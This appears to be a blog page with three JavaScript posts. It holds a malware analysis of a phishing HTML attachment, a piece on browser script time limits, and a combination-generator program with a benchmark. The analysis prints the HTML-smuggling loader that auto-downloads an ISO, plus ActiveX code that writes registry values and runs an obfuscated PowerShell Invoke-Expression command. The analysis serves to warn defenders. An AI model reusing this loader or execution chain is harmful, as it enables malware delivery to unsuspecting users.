JavaScript

Everyone knows by now that you have to be very careful when surfing the internet. A little carelessness can cost you a lot and can lead to the loss of data and information, which are the most precious intangible asset today. As 72% of attacks coming into organizations were reported to be attacks through email, in this post I warn again about HTML files that can be received by email as attachments. They seem harmless but looking at them closely they hide a thousand pitfalls and dangers.

At Application Level any device interact with the cyberspace mainly using mail client and web browser.

As a demonstration of the above I’m going to examine as much as possible an HTML file received as an attachment. It’s named “Covid_information.html”.

Parallel use of many attack techniques: Spear Phishing, Malicious code in an HTML file and Web browser vulnerabilities

The JavaScript code inside “Covid_information.html” is the following one.

</script>

  text=”a base-64 encoded long string of 1622 KB”

  function download(data, filename, type) {
    var file = new Blob([data], {type: type});
    if (window.navigator.msSaveOrOpenBlob) 
        window.navigator.msSaveOrOpenBlob(file, filename);
    else { 
        var a = document.createElement("a"),
                url = URL.createObjectURL(file);
        a.href = url;
        a.download = filename;
        document.body.appendChild(a);
        a.click();
        setTimeout(function() {
            document.body.removeChild(a);
            window.URL.revokeObjectURL(url);  
        }, 0); 
    }
}
bt = atob(text);
bN = new Array(bt.length);
for(var i =0;i < bt.length; i++){
   bN[i] = bt.charCodeAt(i);
}
bA = new Uint8Array(bN);
download(bA,"Covid.iso","application/x-cd-image")

</script>

The first statement is an assignment to the variable “text” of a base-64 encoded 1622 KB string. Practically this is the malicious payload to which we will give a look afterwards.

After the function “download”:

  1. creates a hyperlink on-fly;
  2. link to it a file created using the content of data variable;
  3. download this file. 

The following statement decode the base-64 content of “text” using the atob() function.

The any char is transcoded to Unicode using charCodeAt() function. At the end the file named "Covid.iso" is downloaded to the local storage.

An outlook to Covid.iso file.

The file Covid.iso encapsulated an HTML file with the following JavaScript code:

    <script language="javascript">
    var a = new ActiveXObject('Wscript.Shell');
    function start() {
        res = document.getElementById("p1").innerHTML;
        a.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\JavaSoft\\Ver", res, "REG_SZ");
        res = document.getElementById("p2").innerHTML;
        a.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\JavaSoft\\Ver2", res, "REG_SZ");
        res = document.getElementById("c1").innerHTML;
        res += document.getElementById("c2").innerHTML;
        res += document.getElementById("c3").innerHTML;
        res += document.getElementById("c4").innerHTML;

        res += document.getElementById("c5").innerHTML;
        a.Run(res, 0);
        
    }
    </script>

In this code what is crucial is the content of DOM elements which are on board of HTML file, that is: p1,p2,c1,c2,c3,c4 and c5.

These elements are used for a kind of obfuscation; because they are then assembled together in order to execute any sort of code in the host machine.

P1= (“a base-64 encoded long string”) containing a binary.

P2= (“a base-64 encoded long string”) containing code:

c1=powers

c2=hell -C Invo

c3=ke-Expression (g

c4=p HKCU:\\SO

c5=FTWARE\\JavaSoft).Ver

the final command is:

powershell -C Invoke-Expression (gp HKCU:\\SOFTWARE\\JavaSoft).Ver

Invoke-Expression cmdlet is used to perform a command or expression on local computer.

Even if the above analysis is not complete, it demonstrates a high level of sophistication resulting from guys with a high level of know-how.

So beware of attachments in HTML format!

References

JAVASCRIPT EXECUTION LIMITS IN THE WEB BROWSER

When we ask the visualization of a web page in the browser, it could shows you:

Warning: Unresponsive script" prompt that says "A script on this page may be busy, or it may have stopped responding. You can stop the script now, or you can continue to see if the script will complete."

It means that a script takes too long to run and the browser doesn’t accept it.

A consequence of it is that the user interaction with the browser and web page is stopped.

The browser UI and JavaScript code share a single processing thread. Every event is added to a single queue. When the browser becomes idle, it retrieves the next event on the queue and executes it.

In reality, browsers starts a new OS process for every tab. However, there is still a single event queue per viewed page and only one task can be completed at a time. This is necessary for rendering the web page and for the user interaction with the web page in the browser.

To test the speed and limit of web browser in the execution of the JavaScript code we are going to use a heavy processing algorithm for generation of combinations without repetitions.

DONALD KNUTH’S ALGORITHM FOR GENERATION OF COMBINATIONS WITHOUT REPETITIONS

The number of combinations of n things, taken k at a time are exactly:

We can think these n things as an ordered collection of objects and we can use binary notation to discover combinations.

For example, we take a set of five letter: {A,B,C,D,E} and we want to list the combinations of 2 letter from this set without repetitions. Using the formula above the number of combinations is 10.

We consider this set as an ordered set: A<B<C<D<E and we use the binary notation to represent it where

0 means the letter is not in the combination and 1 means the letter is in the combination.

We know that the number of all subsets is = 32 > 5, while we have to select of these subsets only those that have a number of elements equal to 2.

Considering the set as an ordered set {A,B,C,D,E} and using the binary notation, the list of all subsets of this set are:

Only good binary representations are used to generate good combinations.

Here it is a combination tool.

A program in JavaScript to codify the algorithm could be:

//--------------------------------------------------------------------
function GenerateCombinations()
	{
	  var Answer_Head = "<table border='1' >";
	  var Answer_Body = "";
	  var Answer_Tail = "</table>";
	  var ErrorCode = 0;
	  var ErrorMsg  = "";

	  var nCombSize = 0;
	  var BaseComb  = new Array();
	  var iBaseComb = 0;
	  var CodeComb  = 0;
	  var CombList  = new Array(); 
	  var ACombItem = "";  
	  var BinaryNumber       = new Array();
	  var BinaryStringNumber = "";
	  var NProgres           = 0;
	  var RNProgres          = 0;
          var NFilter            = 0;
   
          var Start = Date.now(); 
	  var End = Date.now();
	  var Elapsed = End - Start // time in ms	
	  var cElapsed = Elapsed.toString();
		    
	  
// AREA INTELLIGENCE 
	  
  // Clear Area
  window.document.getElementById("i_BackMsg").innerHTML  = "" ;
  window.document.getElementById("i_Answer").innerHTML   = ""
	     
	
// Check Input Data
  if ( isNaN( window.document.getElementById("iN").value) ) {  
        ErrorCode = 1;
       ErroMsg   = "Attention !!! The Combination Size must be a number."; 
	 }	 
else {
     if (window.document.getElementById("iN").value == 0 || 
         window.document.getElementById("iN").value == "" ) {
    	 ErrorCode = 11;
    	 ErroMsg = "Attention !!! The Combination Size must be a value more then zero."; 
          }
        else
        {
           if (window.document.getElementById("iN").value >= 20 ) {
              ErrorCode = 11;
              ErroMsg   = "Attention !!! The Combination Size must less then 20.";
            }
	    else
	    {             	           
	      nCombSize = window.document.getElementById("iN").value ;
	    };           
	};      
	};

// Show Msg  
  if ( ErrorCode > 0 ) {  	       window.document.getElementById("i_BackMsg").innerHTML =ErroMsg+"<br/>" ;	  
return;
 } 
  else
 {
  window.document.getElementById("i_BackMsg").innerHTML ="OK!" ;
 };
	  
    
    
// Check Elements
  iBaseComb = 0;
        
  if ( !(window.document.getElementById("i_e01").value == "" || 
       window.document.getElementById("i_e01").value == "0" )) {          
              BaseComb[iBaseComb]=window.document.getElementById("i_e01").value;
              iBaseComb++;
  };      
          
         
   < .... >
          
        
if ( !(window.document.getElementById("i_e20").value == "" || 
      window.document.getElementById("i_e20").value == "0" )) {          
              BaseComb[iBaseComb]=window.document.getElementById("i_e20").value;
              iBaseComb++;
        };      


     
       if ( iBaseComb == 0 || iBaseComb <= nCombSize )  {     
    	   ErrorCode = 11;
    	   ErroMsg = "Attention !!! The Elements must not be equal to or more than the combination size.";	   
       };
       
  	  // Show Msg  
    	  if ( ErrorCode > 0 ) {
    	     window.document.getElementById("i_BackMsg").innerHTML =ErroMsg+"<br/>" ;	  
    	     return;
    	  } 
    	  else
    	  {
    	      window.document.getElementById("i_BackMsg").innerHTML = "" ;
    	  };       
     
     
    // Combination Code
       CodeComb=0;
       for (j=0;j<=iBaseComb-1;j++){
           CodeComb+= Math.pow(2,j);
       }; 
               
	// Combination Generator
          CombList  = new Array(iBaseComb); 
       
       for (y=0;y<=CombList.length-1;y++){
          CombList[y]="0"
       };
       RNProgress = 0;
       NProgres   = 0;
       for (k=0;k<=(CodeComb); k++) {
         
            BinaryNumber = DecimalToBinary(k, iBaseComb);
         
                                 
            if ( IsAGoodCombination (BinaryNumber, nCombSize ) ) {
                    
                  for (y=0;y<=CombList.length-1;y++){
                       CombList[y]="0";
                   };                    
                      
                   // Make the combination       
                   for (x=0;x<=BinaryNumber.length-1;x++){                   
                        
                         if (BinaryNumber[x]=="1"){
                            CombList[x]=BaseComb[x];                                             
                         };                         
                                     
                      };
                      
                     CombList.sort(function(a,b){return a - b});
                      
                     NProgres++;
                     
                      
                     ACombItem="";        					  
        for (j=0;j<CombList.length;j++){
			 		     
	    if (CombList[j]!="0"){						  
               ACombItem=ACombItem+CombList[j]+" ";                                             
             };                         
	};
                     window.document.getElementById("i_Answer").innerHTML+=NProgres.toString()+" - ";
 window.document.getElementById("i_Answer").innerHTML+=ACombItem+"<br />";
      };         
 };       
 window.document.getElementById("i_Answer").innerHTML+=Answer_Tail+"<br /><br />";
 End = Date.now();
 Elapsed = End - Start // time in milliseconds		
 cElapsed = Elapsed.toString();
 window.document.getElementById("i_Time").innerHTML="Time Elapsed: "+cElapsed+" ms";
 return ;
}
	
//--------------------------------------------------------------------
function DecimalToBinary (iDecNumber, iSize){
  
 // Section Data Structure
    answer = new Array(iSize);
    n10  = iDecNumber;
    x2   = iDecNumber;
    log2 = 0;
 // Section Initialization 
    for (j=0; j<=answer.length-1;j++){
         answer[j]="0";
    };          
// Section Intelligence      
    while (x2>=2) {
          x2=x2/2;
          log2++;     
    };
     for (l2=log2;l2>=0;l2--) {
       power = Math.pow(2,l2);
       if (n10 >= power) {
           answer[l2]="1";
           n10 = n10 - power;
       }
       else {
           answer[l2]="0";
       };      
     };     
     answer.reverse();     
     return answer     
  }
	
//--------------------------------------------------------------------
	
function IsAGoodCombination ( iBRNumber, iCombSize ) {        
    var NumberOfOne = 0 ;
    for (j=0;j<=iBRNumber.length-1;j++) {        
        if (iBRNumber[j]=="1") {          
          NumberOfOne++;          
          if ( NumberOfOne >  iCombSize ) {
             break;
          };
        };     
    };    
    if ( NumberOfOne == iCombSize ) {
       return true; 
    }   
    else {
       return false;   
    };
  }  
//--------------------------------------------------------------------

WEB APPLICATION CLIENT-SIDE JAVASCRIPT PERFORMANCE

The results of using as benchmark the JavaScript program previously described are the following ones.

How we can see from the tables and graphs above SpiderMonkey Engine in this test result the winner.

Only in the increase of execution time for high number of combinations it is not the best.

REFERENCES

[01] Donald E. Knuth, The Art of Computer Programming Volume 4 Generating All Combinations and Partitions Fascicle 3, July 2005;

[02] JavaScript Execution and Browser Limits https://www.sitepoint.com/javascript-execution-browser-limits/ ;

[03] Web Browser http://www.volucer.it/?p=143